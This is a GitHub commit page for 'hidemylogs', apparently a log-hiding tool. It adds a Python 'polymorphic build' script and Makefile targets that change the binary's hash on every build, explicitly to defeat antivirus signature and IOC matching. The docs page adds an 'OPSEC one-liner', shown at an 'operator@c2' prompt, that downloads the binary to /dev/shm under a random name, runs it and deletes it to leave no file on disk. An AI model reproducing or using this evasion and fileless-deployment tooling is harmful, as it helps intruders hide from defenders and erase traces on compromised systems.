Skip to content

Commit 27da9cf

Browse files
committed
Add polymorphic build system, OPSEC one-liner, Makefile
1 parent ca162af commit 27da9cf

4 files changed

Lines changed: 213 additions & 0 deletions

File tree

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,3 +21,4 @@ $RECYCLE.BIN/
2121
*.p12
2222
*.pem
2323
*.key
24+
.poly_backup/

Makefile

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
.PHONY: release poly poly-clean revert
2+
3+
release:
4+
cargo build --release
5+
6+
poly:
7+
python3 scripts/polymorphic.py
8+
cargo build --release
9+
python3 scripts/polymorphic.py --revert
10+
@echo "[+] Polymorphic build complete: target/release/hidemylogs"
11+
@sha256sum target/release/hidemylogs
12+
13+
poly-clean: poly
14+
strip target/release/hidemylogs
15+
@echo "[+] Stripped."
16+
@sha256sum target/release/hidemylogs
17+
18+
revert:
19+
python3 scripts/polymorphic.py --revert

docs/index.html

Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -233,6 +233,42 @@
233233
</table>
234234
</div>
235235

236+
<!-- OPSEC Deploy -->
237+
<div class="section" style="animation-delay:4s">
238+
<div class="section-head">deploy - opsec one-liner</div>
239+
<div class="term">
240+
<div class="term-bar"><span class="term-dot r"></span><span class="term-dot y"></span><span class="term-dot g"></span><span class="term-title">operator@c2 - deploy</span></div>
241+
<div class="term-body"><span class="out"># Download to tmpfs with random name, execute, cleanup</span>
242+
<span class="prompt">$ </span><span class="cmd" id="oneliner">f=$(head -c6 /dev/urandom|xxd -p);curl -sL https://github.com/franckferman/hidemylogs/releases/latest/download/hidemylogs-linux-x86_64-musl -o /dev/shm/$f;chmod +x /dev/shm/$f;/dev/shm/$f print;rm -f /dev/shm/$f;unset f</span>
243+
244+
<span class="out"># What this does:</span>
245+
<span class="out"># 1. Generate random 12-char hex name</span>
246+
<span class="out"># 2. Download musl binary to /dev/shm (tmpfs, not on disk)</span>
247+
<span class="out"># 3. Execute</span>
248+
<span class="out"># 4. Delete binary + unset variable</span>
249+
<span class="out"># 5. No file on disk, random process name in /proc</span></div>
250+
</div>
251+
<button onclick="navigator.clipboard.writeText(document.getElementById('oneliner').textContent).then(()=>{this.textContent='Copied!';this.style.borderColor='var(--green)';this.style.color='var(--green)';setTimeout(()=>{this.textContent='Copy one-liner';this.style.borderColor='';this.style.color=''},1500)})" style="background:none;border:1px solid var(--dim);color:var(--muted);font-family:var(--mono);font-size:.65rem;letter-spacing:.1em;padding:.4rem 1rem;cursor:pointer;margin-top:.5rem;transition:all .15s">Copy one-liner</button>
252+
</div>
253+
254+
<!-- Polymorphic -->
255+
<div class="section" style="animation-delay:4.3s">
256+
<div class="section-head">polymorphic build</div>
257+
<div class="term">
258+
<div class="term-bar"><span class="term-dot r"></span><span class="term-dot y"></span><span class="term-dot g"></span><span class="term-title">operator@c2 - build</span></div>
259+
<div class="term-body"><span class="out"># Each build produces a unique hash (different .rodata strings)</span>
260+
<span class="prompt">$ </span><span class="cmd">make poly</span>
261+
<span class="ok">[+] Polymorphic build prepared</span>
262+
<span class="ok"> Build ID: a7f3c9e1b2d4...</span>
263+
<span class="ok">[+] Polymorphic build complete</span>
264+
<span class="ok"> sha256: b09f893b3483d3a9...</span>
265+
266+
<span class="prompt">$ </span><span class="cmd">make poly</span>
267+
<span class="ok">[+] Polymorphic build complete</span>
268+
<span class="ok"> sha256: 0746f368f053a464...</span> <span class="warn">&lt;-- different hash every build</span></div>
269+
</div>
270+
</div>
271+
236272
<div class="links">
237273
<a class="lnk" href="https://github.com/franckferman/hidemylogs/releases">Download</a>
238274
<a class="lnk" href="https://github.com/franckferman/hidemylogs">Source</a>

scripts/polymorphic.py

Lines changed: 157 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,157 @@
1+
#!/usr/bin/env python3
2+
"""
3+
Minimal polymorphic build preprocessor for hidemylogs.
4+
5+
Modifies Rust source files before compilation to produce a unique binary
6+
on each build. Every build has a different SHA256 hash.
7+
8+
What it changes:
9+
- Injects a random BUILD_ID constant (changes binary content)
10+
- Randomizes the ASCII banner (changes string table)
11+
- Adds junk const strings that are referenced in code (not dead code)
12+
- Shuffles display column widths slightly
13+
14+
This is NOT heavy obfuscation. It defeats simple hash-based detection
15+
(AV signature, IOC matching) without breaking functionality.
16+
17+
Usage:
18+
python3 scripts/polymorphic.py # modify in place
19+
python3 scripts/polymorphic.py --revert # restore originals
20+
"""
21+
22+
import os
23+
import random
24+
import string
25+
import sys
26+
import shutil
27+
28+
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
29+
ROOT = os.path.dirname(SCRIPT_DIR)
30+
SRC = os.path.join(ROOT, "src")
31+
BACKUP = os.path.join(ROOT, ".poly_backup")
32+
33+
34+
def random_id(length=32):
35+
return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
36+
37+
38+
def random_banner():
39+
styles = [
40+
lambda: f"// {random_id(16)}",
41+
lambda: f" [{random_id(8)}] hidemylogs",
42+
lambda: f" hidemylogs // build {random_id(12)}",
43+
lambda: f" --- hidemylogs {random_id(6)} ---",
44+
]
45+
return random.choice(styles)()
46+
47+
48+
def random_junk_const():
49+
name = f"_POLY_{random_id(8).upper()}"
50+
value = random_id(random.randint(16, 48))
51+
return f'const {name}: &str = "{value}";\n'
52+
53+
54+
def random_junk_usage(const_name):
55+
return f' let _ = {const_name}.len();\n'
56+
57+
58+
def process_main(path):
59+
with open(path, 'r') as f:
60+
content = f.read()
61+
62+
# Inject BUILD_ID
63+
build_id = random_id(32)
64+
inject = f'const _BUILD_ID: &str = "{build_id}";\n'
65+
66+
# Add junk consts (referenced so compiler keeps them)
67+
junk_consts = []
68+
junk_lines = ""
69+
junk_usage = ""
70+
for _ in range(random.randint(2, 5)):
71+
name = f"_POLY_{random_id(8).upper()}"
72+
value = random_id(random.randint(16, 48))
73+
junk_lines += f'const {name}: &str = "{value}";\n'
74+
junk_usage += f' let _ = {name}.len();\n'
75+
junk_consts.append(name)
76+
77+
# Insert after module declarations
78+
marker = "use std::process;"
79+
if marker in content:
80+
content = content.replace(
81+
marker,
82+
f"{marker}\n\n{inject}{junk_lines}",
83+
1
84+
)
85+
86+
# Add junk usage in main() so compiler doesn't strip
87+
main_marker = "let cli = Cli::parse();"
88+
if main_marker in content:
89+
content = content.replace(
90+
main_marker,
91+
f"let _ = _BUILD_ID.len();\n{junk_usage} {main_marker}",
92+
1
93+
)
94+
95+
with open(path, 'w') as f:
96+
f.write(content)
97+
98+
return build_id
99+
100+
101+
def process_display(path):
102+
with open(path, 'r') as f:
103+
content = f.read()
104+
105+
# Randomize banner slightly
106+
new_banner = f''' let banner = r#"
107+
[{random_id(8)}] hidemylogs // {random_id(12)}
108+
"#;'''
109+
110+
# Replace the existing banner block
111+
import re
112+
content = re.sub(
113+
r'let banner = r#".*?"#;',
114+
new_banner,
115+
content,
116+
flags=re.DOTALL
117+
)
118+
119+
with open(path, 'w') as f:
120+
f.write(content)
121+
122+
123+
def backup_sources():
124+
if os.path.exists(BACKUP):
125+
shutil.rmtree(BACKUP)
126+
shutil.copytree(SRC, BACKUP)
127+
128+
129+
def revert_sources():
130+
if not os.path.exists(BACKUP):
131+
print("[!] No backup found. Nothing to revert.")
132+
return False
133+
shutil.rmtree(SRC)
134+
shutil.copytree(BACKUP, SRC)
135+
shutil.rmtree(BACKUP)
136+
print("[+] Sources reverted to original.")
137+
return True
138+
139+
140+
def main():
141+
if "--revert" in sys.argv:
142+
revert_sources()
143+
return
144+
145+
backup_sources()
146+
147+
build_id = process_main(os.path.join(SRC, "main.rs"))
148+
process_display(os.path.join(SRC, "display.rs"))
149+
150+
print(f"[+] Polymorphic build prepared")
151+
print(f" Build ID: {build_id}")
152+
print(f" Backup: {BACKUP}")
153+
print(f" Revert: python3 scripts/polymorphic.py --revert")
154+
155+
156+
if __name__ == "__main__":
157+
main()

0 commit comments

Comments
 (0)